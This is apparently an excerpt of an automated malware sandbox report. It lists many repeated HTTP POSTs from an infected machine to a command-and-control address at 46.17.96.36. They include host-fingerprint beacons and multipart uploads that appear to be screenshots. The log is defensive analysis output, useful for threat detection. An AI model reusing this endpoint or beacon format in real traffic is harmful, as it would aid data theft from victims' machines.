Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----eae9700a714e425f73995764be569cb3Host: 46.17.96.36Content-Length: 110906Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----756f3da479f67c608b77a871878871baHost: 46.17.96.36Content-Length: 111043Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2527d6ee36e5d91ced907633b787976cHost: 46.17.96.36Content-Length: 110710Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f467d4e70cc44d532fe453c2d3923e5Host: 46.17.96.36Content-Length: 111116Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f467d4e70cc44d532fe453c2d3923e5Host: 46.17.96.36Content-Length: 111116Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2527d6ee36e5d91ced907633b787976cHost: 46.17.96.36Content-Length: 110710Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2527d6ee36e5d91ced907633b787976cHost: 46.17.96.36Content-Length: 110710Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2527d6ee36e5d91ced907633b787976cHost: 46.17.96.36Content-Length: 110710Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2527d6ee36e5d91ced907633b787976cHost: 46.17.96.36Content-Length: 110710Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2527d6ee36e5d91ced907633b787976cHost: 46.17.96.36Content-Length: 110710Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2527d6ee36e5d91ced907633b787976cHost: 46.17.96.36Content-Length: 110710Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642fHost: 46.17.96.36Content-Length: 110773Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642fHost: 46.17.96.36Content-Length: 110773Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642fHost: 46.17.96.36Content-Length: 110773Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642fHost: 46.17.96.36Content-Length: 110773Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642fHost: 46.17.96.36Content-Length: 110773Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642fHost: 46.17.96.36Content-Length: 110773Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642fHost: 46.17.96.36Content-Length: 110773Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 46.17.96.36Content-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /k8FppT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688cHost: 46.17.96.36Content-Length: 107127Cache-Control: no-cache
